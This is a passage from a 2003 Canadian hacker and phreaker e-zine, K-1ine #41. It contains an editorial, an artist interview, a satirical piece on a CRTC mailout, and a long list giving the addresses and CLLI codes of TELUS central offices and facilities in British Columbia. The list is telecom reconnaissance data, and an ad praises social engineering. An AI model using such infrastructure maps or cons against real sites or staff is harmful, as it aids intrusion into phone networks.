__ _____ __ ___ _ ______ __ _ _ __ ___ / _ __ ____ _ ( ) ___)\ /______ ______ _________ \ / ___ _____ ___)\ ___ __. _____ | /_ \ | /_ / | ___\ | (/ || // _ | | _ __ __ _ _ _\\ | | _______ |:(/ ( ) | | ( ) ) \/_ \ /( )\ ( ) \\| | /_ ____ ||\\ | | | | | | ) ) / ___) \\ | //__ || \\ | | | | | | | | \ (___ __ _ \) | // || \\_ __| |__| |__| | | |_ \_______ __ | |// ____ __/ | \___ ____ _ _ _ _ _ __ ______) | (/ / __ __ )/ \ \| | / / \ \ (\_____/ /___ _ ___ _ ____ \ ) \____ _____ __ __ The Future is Friendly. Hug!!! _ _ ( 41 ) | | (a.k.a. Foreplay is for Pussies) c/a Fall 2003 _________________________________________________________________________________ » .- Random Words -. « | *: [-] Introduction ............................................ The Clone :* *: (-) Contact Information ..................................... The Clone :* *: (-) Link of the Month ....................................... The Clone :* *: (-) K-1ine Mirrors .......................................... The Clone :* *: (-) Brand New K-1ine Banner Advertisements .................. The Clone :* *: (-) New Nettwerked Affiliate ................................ Nettwerked :* *: (-) Movie Trailer: "The Montréal Drunkard" .................. Kybo Ren :* _________________________________________________________________________________ » .- Documents -. « | *: (x) 'K-1ine Interview; Pinguino, Flippersmack Magazine' ...... Pinguino :* *: (x) 'The Complete (TELUS) British Columbia CLLI Compilation'.. The Clone :* *: (x) '"The CRTC Really Does Care About You" Mailout' .......... Treephrog :* *: (x) 'The Clone writes to the CRTC' ........................... The Clone :* *: (x) 'Social Engineering 101' ................................. Treephrog :* *: (x) 'The Sega Dreamcast: A Plethora of Fun' .................. Diabolik :* *: (x) 'Jackel In The Box' ...................................... Jackel :* *: (x) 'The Northwest Edmonton Wi-Fi Scan' ...................... CS/The Clone :* *: (x) 'The Undernet: A Grandmaster Plan' ....................... Cybersk4nk :* *: (x) 'The New Consience' ...................................... Aestetix :* *: (x) 'Fun with Cryptology (Part 1)' ........................... Aestetix :* *: (x) 'Fun With Cryptology (Part 2)' ........................... Aestetix :* *: (x) 'Fun With Cryptology (Part 3)' ........................... Aestetix :* *: (x) 'Take a shot for every province in Canada in a row' ...... Kybo Ren :* *: (x) 'TELUS DIGITAL LOOPBACK NUMBERS' ......................... A.P.H. :* *: (x) 'TCP/IP VULNERABILITIES AND WEAKNESSES' .................. shaun2k2 :* _________________________________________________________________________________ » .- Conclusion -. « | *: [-] Credits ................................................. The Clone :* *: [-] Shouts .................................................. The Clone :* _________________________________________________________________________________ This is K-1ine #41, a release for the fall quarter of 2003. As you can see we've received enough articles to almost consider it a double digest. One only hopes we get as many articles for K-1ine #42. Enjoy the articles, learn something and write for us. I'm always looking for new and interesting files to put in K-1ine. I look forward to more K-1ine issues in the future. But in order to do so, people will need to contribute their original articles to K-1ine. Because this magazine is really all about sharing vast information on computer and telecom technologies. But most importantly this electronic magazine gives an expressionist the ability to share his or her unfettered insight on a wide variety of enthralling subjects. Word. Enjoy this K-1ine issue, and be sure to send your file(s) to the e-mail address below. (The next issue is due out either in December or January. Depending on contribution.) >> THE CANADIAN SCENE - STRONG AS EVER - FIGHTING BACK WITH OI! << -` --> Contact Information; Comments/Questions/Submissions: theclone@hackcanada.com Check out my site: (Nettwerked) http://www.nettwerked.net Check out the Web-forum: http://nettwerked.mg2.org/phpBB2/ - ----------------------------------------------------------------------- --=[ LINK OF THE QUARTER ]=-- Every quarter I post one really great "link of the quarter" on each issue of K-1ine magazine. The link can be anything in the technology industry, music scene, rave scene, punk scene, or even a good article you read on a news site. I'll be taking submissions via e-mail or IRC right away; so get your links in and maybe you'll see it in the next issue of K-1ine! For the fall, the link of the quarter is: http://www.1337-online.com/badger.htm "Badger Badger Badger, Mush-room Mush-room! Ohhhhh it's a snake!" [submitted by: Kankraka] -- K-1ine Mirrors: http://www.mirrors.wiretapped.net/security/info/textfiles/k1ine/ (Now mirrored in two places, one in Belgium and another in Sydney) "Wiretapped.net is an archive of open source software, informational textfiles and radio/conference broadcasts covering the areas of network and information security, network operations, host integrity, cryptography and privacy, among others. We believe we are now the largest archive of this type of software & information, hosting in excess of 20 gigabytes of information mirrored from around the world." -- http://www.hackcanada.com/canadian/zines/index.html#K-1ine Hack Canada - Canadian H/P - E-Zines -- http://www.to2600.org Toronto 2600 - K-1ine Archive -- [ K-1ine Banners ] el nerdo (to2600.org) and Pinguino (flippersmack.com) have put their blood, sweat, and tears into the creation of some of the best e-zine banners I've ever seen. For your K-1ine viewing pleasure I bring you K-1ine banners. Download them, link to Nettwerked, and show your support for the best Canadian Hacking and Phreaking 'zine around! You can also get desktop backgrounds by visiting the following url address: [ http://www.nettwerked.net/k-1ine-images/index.html ] el nerdo's K-1ine banners: http://www.nettwerked.net/K-1ine_ad_2.jpg http://www.nettwerked.net/K-1ine_ad_3.jpg http://www.nettwerked.net/K-1ine_ad_4.jpg http://www.nettwerked.net/K-1ine_ad_5.jpg Pinguino's K-1ine banner: http://www.nettwerked.net/K-1ine_ad.gif --- [ New Nettwerked Affiliate ] "You don't join the core, son. You get Drafted" Nettwerked is proud to announce its latest affiliate; The Core of Social Engineers. This site, which was created by my good friend Siviak, focuses on the biggest vulnerability of all; humans. For decades hacker and phreaker organizations have existed, but never have I seen a full fledged social engineering organization until now. I look forward to The Core of Social Engineers' insight into this fascinating subject that proves that no matter what kind of security systems your company may have in place, some dumb employer/employee is *always* going contribute to data compromise through ignorance. There has never been a better time than now for the con-man. WWW.THECOREOFSOCIALENGINEERS.COM -- [ Movie Trailer: "The Montréal Drunkard" ] The Montréal Drunkard movie described by Kybo Ren: Remember the last time you said "it was a good idea at the time?" Well now its my turn. One night, some friends and i were bored. We took out the old camcorder and filmed a night of drinking. I, Kybo, watch the footage the next day and figured "hey lets do something with the footage" so I decided to make a video for everyone to enjoy. Here is the a sneak peek. Next time you see me on IRC, try not laugh too hard and remember "it was a good idea at the time." I'd like to thank my sponsor Molson for making this video a reality; Molson EX was on sale that week. Hurray for everything! >> WATCH THE TRAILER NOW: http://rees.no-ip.org/trailer-loq-divx.avi << ---> is Phantasm from your bible group? oh wait, you aren't dec0de ZING --- K-1ine Interview; Pinguino, Flippersmack Magazine Interview conducted on: Thursday, September 18, 2003 2:00am to 2:20am (MDT) It is my pleasure to introduce you to Pinguino from Flippersmack - Popculture from a penguin perspective. This interview was conducted via IRC (Internet Relay Chat) by The Clone of K-1ine 'zine / Nettwerked.net. The Clone: What new projects are you working on lately? Pinguino: Mostly I've been revamping my publishing company, Penguin Palace. For the last two years, we've been releasing issues of an online popculture magazine called Flippersmack. In July, we came out with a minicomic called "Pinguino and Pedestrian," and we even have a new "Tori Do" book scheduled to release on Halloween! -- The Clone: You're certainly involved in a lot of projects as of late. What have you recent inspirations been? Pinguino: The person who really taught me how to refine my artwork was Todd Pluciennik. We were friends in high school, and he was a big part of Penguin Palace. He came back to Penguin Palace about a year ago, so being able to work on projects with him has definately been a motivating factor. Plus, I've been experimenting with a lot of different mediums lately. Technology can be a little too structured and stifling, so it's good to get out there and textures and feelings, for a change. For the past 2 years, I've been painting a lot, and getting into art show. I do a lot of mixed-media art. Last winter I expanded even further into soapmaking and candlemaking, which has a completely difference audience and texture- but all of these influences come together in the final products you see online and offline. -- The Clone: Many of our readers remember you from System Failure 'zine from the mid to late 1990's. All good things eventually come to an end, and sometimes when we're lucky greater things are spawned. Do you feel System Failure was inspiration for Flippersmack? What did SysFail teach you that helped you with Flippersmack? Pinguino: The loss of System Failure really left a gap in my life. The group of friends that created the zine drifted apart into other projects, so I really missed publishing. Flippersmack is really random- it delves deep into anime, comics, movies, and culture, but it definately has an indy/dyi edge to it that most magazines and websites don't really have anymore. -- The Clone: You attend many art conventions. Can you tell us about any upcoming ones you're planning on attending? Pinguino: Yeah! There's a big one on Halloween that we're going to have a table at! It's in Vegas, and it's the first year they're doing it. But already it's being called the 3rd largest convention in the nation. I'm making something special for it - hand-decorated chinese takeout boxes filled with cool stuff, as well as the new "Tori Do" comic book! Tori Do is the story about the karate penguins that I started in '93. After Vegas, we'll probably have a table at APE (Alternative Press Expo) in February, in San Fransisco, CA. -- The Clone: People may or may not know this, but you're a founder of the Scavenger Hunt contest at Def Con. You were a participant this year, and to no ones surprise your team won. What will your contribution to it be for Def Con 12? Pinguino: Next year, Grifter and I are teaming up to run the Scavenger Hunt together. I learned some stuff about it from being on both ends of the spectrum, and can definitely improve the organization of the game. Plus, I'm going to do some custom artwork for the prizes this year, and pull together some cool stuff that you'll only get by winning the hunt. -- The Clone: I remember first meeting you on #ansi back around 1995. Are you still involved in the ansi scene? And if so are you working on anything in this area? Pinguino: I do very little with the ansi scene these days, but next month ACiD is releasing their 100th pack, and I'm writing an article about the ansi scene from my point of view- which is basically "what dumb things did pinguino and her friends do when they were in highschool/college and why are they obsessed with little colored blocks." It's actually pretty cool though, because at the time, I had met more people from the scene than most, and ansi talent. So you get to read about all that. -- The Clone: If one of your readers decides they would like to contribute to Flippersmack either by sending you a review or a relevant (anime, comic, movie, etc) article, how do they get in touch with you? Pinguino: The easiest way to reach me is pinguino@flippersmack.com - we totally would love people to send submissions in! -- The Clone: What would your advice be for anyone interested in starting their own online magazine (e-zine)? Pinguino: Zines can really come in any sort of format or style- successful ones have a niche audience. As long as you have quality writing and interesting subjects, starting off isn't too bad. I think that the web works as a better delivery medium now-days than textfiles, but if you do decide to release textfiles, send them out through a mailing list. People will forget that they liked your zine if they aren't reminded to go read it every so often. -- The Clone: As an editor-in-chief of a free-thinking, freedom of speech advocating magazine, What are your thoughts on the recent news of American scientists self-censoring themselves in the name of Homeland Security? And what do you think about the new post-9/11 laws in general and how do you think they may affect electronic zines like Flippersmack, K-1ine, Phrack, etc? Pinguino: Right now, American law is pretty messed up. I don't think anyone will know what's legal to print and what isn't for at least a few years, because the laws in place are so grey. Anything can be twisted into an act of terrorism. There *are* a lot of groups fighting it though, but there's almost a witch-hunt fantacism that makes it pretty dangerous to piss off the wrong people. I think that most publishers would try to fight, if confronted has total control of all the rules of the game and can change them at any time. -- The Clone: Thanks so much :) Pinguino: no prob =) thanks for interviewing me! k-1ine rocks! ---> yeah well i have a chubby cola --- The Complete (TELUS) British Columbia CLLI Compilation Author > The Clone Date > Thursday, September 25, 2003 Contact > Corrections? Comments? Fan-mail? --> theclone@hackcanada.com URL > http://www.nettwerked.net/ Disclaimer > This information was aquired through legal means. Please do not use the information contained in this file for illegal purposes. You are responsible for what you do, and I am not. Credits > Aftermath. Thanks for your contribution. Dedicated > This article is dedicated to the disconnection of my phone. As of today, Telus has disconnected my landline due to non- payment of nearly $300.00. Goodbye Telus. Thanks for nothing. Shouts > Hack Canada (hackcanada.com), Nettwerked (www.nettwerked.net) everyone on the #hackcanada irc channel, and on the web-board. Notes > Most of this data isn't available on public CLLI databases yet. I've submitted the list to www.TelcoData.Us in hopes that it'll be listed by the administrator of that rockin' telecom web-site. Resources > http://www.telcodata.us/ - Source for the latest CLLI info. If you want to look up switches by CLLI's, then this is the site that you want to check out. One of the coolest telco resources on the Internet right now. Best of all it's 100% free to use. http://www.telcordia.com/ - Where CLONES, the CLLI database is stored. Telcordia Technologies (formerly Bell Labs) created CLONES, which maintains valid Common Language Location Ident- ification Numbers for all North American telephone companies. CLLI definition from page 179 of Newton's Telecom Dictionary (2003 edition) < -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- > CLLI Location Types >> Common Language Location Identification codes thoroughly and accurately identify and characterize three types of locations directly associated with the appropriate LEC (Local Exchange Carrier; either incumbent or competitive). The three types of locations relevant to CLLI's are: * Network sites * Network support sites * Customer sites The most common locations that have CLLI's assigned to them are sites such as central office buildings or centres, end- points, tandems, fiber nodes, junctions, manholes, poles, and repeaters. Commonly big customers (usually re-sellers, government agencies; law enforcement, and military) are supplied their own unique CLLI code. This document lists CLLI's by large organizations either than Telus / Mobility. CLLI coding elements >> Each CLLI code uses specific coding elements, described below: Coding element Description Example 1-Geographical Typically assigned to cities, towns, DNVR=Denver international airports, military posts, or other specific geographical points. Typically characters 1-4 in CLLI. 2-Geopolitical Typically a country, state, province, or CO=Colorado other differentiator that, combined with the geographical code, forms a location identifier that is unique worldwide. Typically characters 5-6 in CLLI. 3-Network site This element is used with geographical 56=C.O. Elm St. and geopolitical codes to represent buildings, structures, enclosures or other locations at which there is a need to identify and describe one or more functional entities. Examples of network sites include central offices, relay buildings, controlled vaults, etc. Typically characters 7-8 in CLLI. 4-Network-entity Used with geographical, geopolitical, DS0=Digital switch and network-site codes to identify and describe categories of equipment, func- tions of a particular group at a parti- cular location, or type of maintenance center at a given location. Typically characters 9-11 in CLLI. 5-Network support Used with geographical and geopolitical P1234=Telephone pole codes to identify and describe the loca- tion of international boundaries or crossing points, end-points, fiber nodes, cable and facility junctions, manholes, poles, radio-equipment sites, repeaters and toll stations. Typically characters 7-11 in CLLI. 6-Customer This element can be used with geographical 1A101 = A customer and geo-political codes to identify and describe customer locations associated with switched-service networks, centrex installations, PBX equipment, military installations, university and hospital phone centers, etc. Typically characters 7-11 in CLLI. <------------------------------------------------------------------------------------> LOWER MAINLAND: ADDRESS: CLLI CODE: Abbotsford C.O 33905 Essendene Ave. V2S 2H7 ABFDBC01 Construction 34474 Marshall Rd. V2S 5A5 ABFDBCMA I&R 1648 Salton Rd. V2S 4N2 ABFDBCSAA92 Aldergrove C.O. 27172 Fraser Hwy. V5W 3P7 ARGVBC01 I&R 27172 Fraser Hwy. V5W 3P7 ARGVBC01 Advanced Communications 2200 - 4720 Kingsway. V5H 4N2 BNBYBC9I150 Alpine C.O. 624 Victoria Dr. V5L 4E4 VANCBC03 Amherst C.O. 2008 W 41st Ave. V6M 1Y8 VANCBC04 Ash (Computer Centre) 600 W 7th. V5Z 1B5 VANCBCAS Bainbridge Bldg. 2939 Bainbridge Ave. V5A 2S9 BNBYBCBB BC TEL Bldg (H.Q) 3777 Kingsway. V5H 3Z7 BNBYBCHQ BC TEL Mobility Cell 4519 Canada Way. V5G 4S4 BNBYBCDW BC TEL Mobility Paging 4519 Canada Way. V5G 4S4 BNBYBC1B007 BC TEL Reservation / Flight Operations 4360 Agar Dr. V7B 1A3 RCMDBCAR BC TEL Supply 6969 - 10th Ave. V3N 2R4 BNBYBCST BC TEL Trailer 2560 Boundary Rd. V5M 3Z3 BNBYBCIT005 BCD Special Services Plan Centre 1267 Richards St. V3M 3Z3 VANCBCRC Beachgrove c.O. 1128-56th St. V4L 2A3 DELTBC02 Brackendale C.O. 1949 Cheakamus Way. V0N 1H0 BKDLBC01 Canadian Facts 1130 W Pender. V6E 4A4 VANCBC1C016 Canwest Directory Distributors 7966 Winston St. V5A 2H5 BNBYBC1C003 Castle C.O. 2608 Tolmie St. V6R 4C5 VANCBC02 Chilliwack C.O. 46037 W Yale Rd. V2P 2M1 CLWKBC01 I&R 46167-Fifth Ave. V2P 1M8 CLWKBCFI Cloverdale C.O. 5623-176th St. V3S 4C4 SRRYBC03 CT&S 1-4535 Canada Way. V5G 1J9 BNBYBCDX Cypress C.O. 1001 Delta Ave. V5B 3C9 BNBYBC01 Deep Dove C.O. 3535 Mt Seymour Pkwy. V7H 1G4 NVCRBC02 Dominion Directory 4260 Still Ck Dr. V5C 6C6 BNBYBCDD Education Development Centre 1795 Willingdon Ave. V5C 5J2 BNBYBCTA Facs Records Centre Inc. 1701 Powell. V5L 1H6 VANCBC1F013 Fairfax C.O. 6486 Chester St. V5W 3C3 VANCBC05 Fort Langley C.O. 21585 - 88th Ave. V3A 8E8 FTLYBC01 Gibsons C.O. Hillcrest & North Rd. V0N 1V0 GBSNBC01 Haney C.O. 11778 - 224 St. V2V 4H9 HANYBC01 Radio 10880 - 256 St. V2W 1K5 HANYBCRT Hemlock C.O. 3696 Kingsway. V5R 2T4 VANCBC06 I&R 3855 Wayburne Dr. V5G 3L1 BNBYBCWAA92 Joint Venture 2-840 Howe St. V6Z 2L2 VANCBCJV Ladner C.O. 4827 Elliott St. V4K 2X7 DELTBC01 I&R 7573 Progress Way. V4G 1E8 DELTBCNS Lake City C.O. 2671 Lake City Way. V5A 2Z6 BNBYBC02 Langley C.O. 5500 - 204th St. V3A 1Z3 LNGLBC01 I&R 20369 Langley Bypass. V3A 5E8 LNGLBCIR Warehouse 9385 - 200th St. V1M 3A7 LNGLBCAC Lougheed Hwy. Business Building 7000 Lougheed Hwy. V5A 1W2 BNBYBCLH Lower Mainlands Operations 7018 Lougheed Hwy. V5A 1W2 BNBYBCFR Marpole I&R 8797 Barnard St. V6P 5G6 VANCBCAC Medical Services Association 2025 W Broadway. V6J 1Z6 VANCBC1M007 Microtel Limited 2441 United Blvd. V3K 6A8 CQTLBC1M001 MPR Teltech Ltd. 8999 Nelson Way. V5A 4B5 BNBYBC9I002 Mission C.O. 33067 - 2nd Ave. V2V 1J7 MSSNBC01 Mutual C.O. 768 Seymour. V6B 3K9 VANCBC01 I&R 614 W Pender. V6A 1V8 VANCBCPE New Westminster C.O. 611 - 6th St. V3L 3C1 NWMRBC01 Newton C.O. 7191 - 128th St. V3W 4E3 SRRYBC02 Nortel 150-13575 Commerce Pkwy. V6V 2L1 RCMDBC2T063 North Vancouver C.O. 150 E 8th St. V5T 2C1 NVCRBC01 North Vancouver I&R 147 E 11th St. V7L 1Y7 NVCRBCEEA92 Construction 310 Brooksbank. V7J 2C1 NVCRBCC0 Pachena 1395 Boundary. V5K 4T9 VANCBC1P006 Pacific Blue Cross 4250 Canada Way. V5G 4W6 BNBYBCCN Pender Harbor C.O. Maderia Park Rd. V0N 2H0 PNHRBC01 --------------------------------------------------------------------------------------- PHONE MARTS: ADDRESS: CLLI CODE: Capilano Mall 20 - 935 Marine Dr. V7P 1S3 NVCRBCPM Chilliwack 46037 Yale Rd. V2P 2M1 CLWKBC01 City Square 19A - 555 W 12th Ave. V5Z 3X7 VANCBCCSN00 Coquitlam Centre 2130 - 2929 Barnet Hwy. V3B 5R5 CQTLBC2G039 Eaton Centre 1111 - 4700 Kingsway. V5H 4M1 BNBYBC1P010 Guildford 1122 Guildford Twn Ctr. V3R 7B7 SRRYBC1P006 Langley / Willowbrook 309 - 19705 Fraser Hwy. V3A 7E9 LNGLBCPM Maple Ridge 250 - 22529 Lougheed Hwy. V2X 0L5 MPRGBCPM New Westminster 611 - 6th St. V3L 3C1 NWMRBCPM Oakridge 129 - 650 W 41St. V5Z 2M9 VANCBCPPA01 Richmond Centre 31 - 6551 No. 3 Rd. V6Y 2B6 RCMDBC1R010 Scottsdale 7111 - 120th St. V4E 2A9 DELTBC1P002 Seven Oaks 139 - 32900 S Fraser Way. V2S 5A1 ABFDBC1S005 Seymour Street 1 D - 768 Seymour. V6B 3K9 VANCBC01 Pitt Meadows C.O. 12439 Harris Rd. V3Y 2J4 PTMSBC01 Port Moody C.O. 701 Blue Mountin St. Coq. V3J 4S1 CQTLBC01 Portable Communications Division 4519 Canada Way. V5G 4S4 BNBYBCDW Prism Systems, Inc. 7025 Greenwood St. V5A 1X7 BNBYBC1L002 Radio/Ntwk Oprns 2758 Norland Ave. V5B 3A6 BNBYBCBP Raymur Construction 730 Raymur Ave. V6A 3L2 VANCBCCO Regent C.O. 2212 W 10th Ave. V6K 2H8 VANCBC07 I&R 2065 W 12th Ave. V6J 2G3 VANCBCTW Richmond C.O. 3911 No 3 Rd. V6X 2B8 RCMDBC01 I&R 12491 Horseshoe Way. V7A 4X6 RCMDBC04 Construction 12720 Rowan PI. V6V 2K5 RCMDBC05 BC TEL Lockup 3911 No. 3 Rd. V6X 2B8 RCMOBCIL004 Sardis C.O. 6570 Vedder Rd. V2R 1C8 SRDSBC01 Sechelt C.O. 5536 Inlet Dr. V0N 3A0 SCHLBC01 Customer Service / Plant Centre 4355 Solar Rd. V0N 3A0 SCHLBCCS SRI Strategic Resources 1920 - 4720 Kingsway. V5H 4N2 BNBYBCIS005 Stentor 3001 Wayburne Dr. V5G 4W1 BNBYBCCL Steveston C.O. 10011 No 2 Rd. V7E 2E4 RCMDBC02 Sullivan Station 15079 - 64th Ave. V3S 1X9 SRRYBCCS Surrey I&R 2289 King George Hwy. V4A 5A4 SRRYBCIR Telecom Leasing 700 - 5945 Kathleen Ave. V5H 4J7 BNBYBCTL Trinity c.O. 380 E 10th Ave. V5T 1Z7 VANCBC08 BC TEL Lockup Basement 380 E 10th Ave. V5T 1Z7 VANCBCIL011 TWU 5261 Lane St. V5H 2H4 BNBYBC1T002 Van Tel Credit Union 6632 Royal Oak Ave. v5H 3P5 BNBYBCCU Viscount Industries 105 E 69th Ave. V5X 2W9 VANCBC1V003 Warehouse 2560 Boundary Rd. V5M 3Z3 BNBYBCMS Wayburne I&R 3855 Wayburne Dr. V5G 3L1 BNBYBCWAA92 Welwyn/Trinity I&R 3704 Welwyn. V5N 3Y9 VANCBCWEA92 West Vancouver C.O. 1651 Inglewood Ave. V7V 1Y8 WVCRBC01 Westview C.O. 6930 Duncan St. V8A 1V6 PWRVBC01 Westwood C.O. 2990 Gordon Ave. V3C 4S7 PTCMBC02 Whalley C.O. 13670 - 105th Ave. V3T 2B3 SRRYBC01 Whalley Repair 3 Fl. 13401 - 108th Ave. V3T 5T4 SRRYBCIB007 Whistler C.O. 7200 Lorimer. V0N 1B0 WSLRBC01 White Rock C.O. 14780 North Bluff. V4B 3E1 WHRKBC01 I&R 2289 King George Hwy. V4A 5A4 SRRYBCIR Whonnock C.O. 27121 - 104th Ave. V2X 8X8 WHNKBC01 Whytecliff C.O. 6085 Marine Dr. V7W 2S1 WVCRBC02 William Farrell Bldg 768 Seymour. V6B 3K9 VANCBC01 Willingdon Green Tower I 4519 Canada Way. V5G 4S4 BNBYBCDW Willingdon Green Tower II 4535 Canada Way. V5G 1J9 BNBYBCDX Willis Corroon Melling Ltd. 5581 - 204st St. V3A 1Z4 LNGLBC1H001 --------------------------------------------------------------------------------------- INTERIOR SOUTH: ADDRESS: CLLI CODE: Cache Creek C.O. 1094 Collins Rd. V0K 1H0 CACKBC01 Castlegar C.O. 1115 - 4th St. V1N 2A8 CLGRBC01 Castlegar Plant 2229 - 14th Ave. V1N 6M2 CLGRBCPC Cranbrook C.O. 45 - 12th Ave. V1C 2R9 CRBKBC01 Creston C.O. 124 - 12th Ave. V0B 1G0 CETNBC01 Elkford C.O. 9 Water. V0B 1H0 EKFRBC01 Fernie C.O. 602 - 3rd Ave. V0B 1M0 FERNBC01 Golden C.O. 1101 S 11th Ave. V0A 1H0 GLDNBC01 Grand Forks C.O. 7487 - 3rd St. V0H 1H0 GDFRBC01 Invermere C.O. 402 - 7th Ave. V0A 1K0 IVMRBC01 Kamloops C.O. North 922 Tranquille Rd. V2B 3J5 KMLPBC02 Kamloops C.O. South 300 St. Paul St. V2C 5R8 KLMPBC01 PhoneMart 300 St. Paul St. V2C 5R8 KMLPBC01 Kelowna C.O. 1405 St. Paul. V1Y 2E4 KLWNBC01 Dilworth C.O. 1500 Hardy ST. V1Y 8H2 KLWNBC02 Fleet 123 Penno Rd. V1X 6S1 KLWNBCGA H.Q. 1500 Hardy St. V1Y 8H2 KLWNBC02 Phonemart / Orchard Pk 1256 - 2271 Harvey Ave. V1Y 6H2 KLWNBC1O001 W & D 2450 Acland Rd. V1X 6N6 KLWNBCWD Kimberly C.O. 1765 Warren Ave. V1A 1R7 KLBYBC01 Lillooet C.O. 965 Main. V0K 1V0 LLOTBC01 Merritt C.O. 2052 Granite Ave. V0K 2B0 MRRTBC01 Nelson C.O. 579 Stanley St. V1L 5Y5 NLSNBC01 PhoneMart 579 Stanley St. V1L 5Y5 NLSNBC01 Oliver C.O. 4th St. V0H 1T0 OLVRBC01 Penticton C.O. 188 Calgary Ave. V2A 2T6 PNTNBC02 PhoneMart/Plaza 701 - 1301 Main St. V2A 5E9 PNTNBCPM Princeton C.O. 88 Billiter St. V0X 1W0 PRTNBC01 Revelstoke C.O. 200 - 2nd St. V0E 2S0 RVSTBC01 Salmon Arm C.O. 71 Hudson St. V0E 2T0 SLAMBC01 Sparwood C.O. 128 Spruce Ave. V0B 2G0 SPWDBC01 Trail C.O. 840 Spokane St. V1R 3W5 TRALBC01 Valleyview C.O. 1875 E Trans Canada Hwy. V2C 3Z8 KMLPBC16 Vernon C.O. 3205 Coldstream Ave. V1T 6N1 VERNBC01 PhoneMart 3205 Coldstream Ave. V1T 6N1 VERNBC01 Westbank C.O. Hwy #97 S. V0H 2A0 WTBKBC01 --------------------------------------------------------------------------------------- ISLAND: ADDRESS: CLLI CODE: Albion C.O. 1805 Feltham Rd. V8N 2A4 VCTABC04 Belmont C.O. 2233 Sooke Rd (Colwood). V9B 1X2 BCTABC05 Campbell River C.O. 1385 16th Ave. V9W 2C9 CBRVBC01 PhoneMart 1385 16th Ave. V9W 2c9 CBRVBC01 Colquitz C.O. 507 Judah St. V8Z 2J8 VCTABC06 Courtenay C.O. 785 Cliffe Ave. V9N 2J6 CRTYBC01 PhoneMart 785 Cliffe Ave. V9N 2J6 CRTYBC01 Duncan C.O. 148 Ingram St. V9L 1P2 DNCNBC01 Ganges C.O. 315 Lower Ganges Rd. V8K 2V4 GNGSBC01 Gulf Islands C.O. 406 Georgina Pt. Rd. V0N 2J0 MYISBC01 Holberg C.O. CFB Holberg V0N 1Z0 HLBCBC01 Kingcome Inlet C.O. Kingcome. V0N 2B0 KGINBC01 Namu C.O. Namu. V0P 1R0 NAMUBC01 Nanaimo C.O. 400 Fitzwilliam St. V9R 3A8 NNIMBC01 PhoneMart 152 - 4750 Rutherford Rd. V9T 4K6 NNIMBCPM Plant 3301 Shenton Rd. V9T 4H4 NNIMBCPC Oak Bay C.O. 1908 Foul Bay Rd. V8R 5A7 VCTABC03 Port Alberni C.O. 4058 - 6th Ave. V9Y 4M8 PTAIBC01 Port Hardy C.O. Coal Harbour Rd. V0N 2P0 PTHYBC01 Sidney C.O. 2340 Beacon Ave. V8L 1X3 SDNYBC01 Sooke C.O. 6683 Sooke Rd. V0S 1N0 SOKEBC01 Victoria C.O. 826 Yates St. V8W 2H9 VCTABC01 Headquarters 3980 Quadra St. V8X 1J9 VCTABCQD PhoneMart 826 Yates St. V8W 2H9 VCTABC01 PhoneMart 91 - 1644 Hillside Ave. V8T 2C5 VCTABCPM Wellington C.O. 3800 Departure Bay Rd. V9T 4Y7 NNIMBC03 --------------------------------------------------------------------------------------- INTERIOR NORTH: ADDRESS: CLLI CODE: Burns Lake C.O. 724 Centre St. V0J 1E0 BULKBC01 CBC Building 1268 - 5th Ave. V2L 3L2 PGRGBCCB Chetwynd C.O. 49th St & Hwy 97. V0C 1J0 CTWDBC01 Dawson Creek C.O. 1212 - 102nd Ave. V1G 2C4 DWCKBC01 Fort St.John C.O. 10140 - 100th St. V1J 3Y7 FSJNBC01 PhoneMart 10140 - 100th St. V1J 3Y7 FSJNBC01 Kitimat C.O. 1110 Kingfisher ave. V8C 1G3 KTMTBC01 McBride C.O. 3rd Ave. V0J 2E0 MBRDBC01 Mackenzie C.O. 65 Centennial Dr. V0J 2C0 MCKNBC01 100 Mile House C.O. 4th St. V0K 2E0 OHMHBC01 Prince George C.O. 1340 - 6th Ave. V2L 5E5 PGRGBC01 H.Q. 2100 Ferry Ave. V2L 4R5 PGRGBCHQ PhoneMart 1340 - 6th Ave. V2L 3N1 PGRGBCPM Prince Rupert C.O. 242 3rd Ave. V8J 1L1 PRRTBC01 Queen Charlotte City 4702 Highway 33. V0T 1S0 QCCYBC01 Quesnel C.O. 347 Kinchant St. V2J 2R5 QSNLBC01 Smithers C.O. 3835 4th Ave. V0J 2N0 SMTRBC01 CT&S 127 Main St. V0J 2N0 SMTRBCCT PhoneMart 3835 - 4th Ave. V0J 2N0 SMTRBC01 Terrace C.O. 4532 Lazelle Ave. V8G 1S2 TRRCBC02 PhoneMart 3236 Kalum St. V8G 2N5 TRRCBCPM Plant Centre 5215 Keith Ave. V8G 1L2 TRRCBCKE Tumbler Ridge C.O. 440 Pioneer Loop. V0C 2W0 TMRGBC01 Valemount C.O. 6th Ave & Dogwood S. V0E 2Z0 VLMTBC01 Vanderhoof C.O. Stewart & Lampitt Ave. V0J 3A0 VRHFBC01 Williams Lake C.O. 28 S 3rd Ave. V2J 1H9 WLLKBC01 PhoneMart 28 S 3rd Ave. V2J 1H9 WLLKBC01 --------------------------------------------------------------------------------------- OTTAWA: ADDRESS: CLLI CODE: Government Relations 1204 - 155 Queen St. K1P 6L1 OTWAONAHA01 Stentor Canada (Courier Service) 235 - 160 Elgin St. K2P 2C4 OTWAONBC Stentor Canada (Courier Service) 410 Laurier Ave W Drop 420. K1P 6H5 OTWAONTC .eof A N E T T W E R K E D P R O D U C T [ 2003 ] --- I cuss, you cuss, we all cuss for asparagus hahaha heh I mean, damn, it's good asparagus. --- "The CRTC Really Does Care About You" Mailout by Treephrog 08/01/03 Questions, comments and whatnot: treephrog@verbaltheory.net Flames and general idiocy: me@yamamashouse.org Shouts: greasy, theclone, wizbone, cyb0rgasm, the_p0pe, tek, cybersk4nk, Hack Canada all its affiliates, and the whole #hackcanada crew... "Oh, bags to that!" - Zeddicus Z'ul Zorander Opened my phone bill last week. Amongst the usual pleadings for money to feed the starving telco workers was a small 3.5" by 7.25" insert, plain vanilla with black text. Being half-asleep at the time, I was about to ball it up and send it to paper heaven when two things on it caught my eye; "CRTC" and "bill of rights"... Hmmmm. Wazzat? Guess maybe this deserves closer inspection. What follows is verbatim from the card. With the exception that anything enclosed in ( ) are my thoughts/snide comments upon the second reading. *grinz* Yes, as a matter of fact, I DO enjoy being a smart ass... "Consumers' bill of rights The CRTC* is responsible for regulating the providers of telephone service in Canada. (Really? I always thought Cyb0rg/asm and The Clone were reponsible for that...) It has decided to created a "consumers' bill of rights". (... does this mean my rate is getting jacked again? And what's with the quotations? Aren't things that are theoretical and/or humorous in nature usually enclosed in quotes? See the title 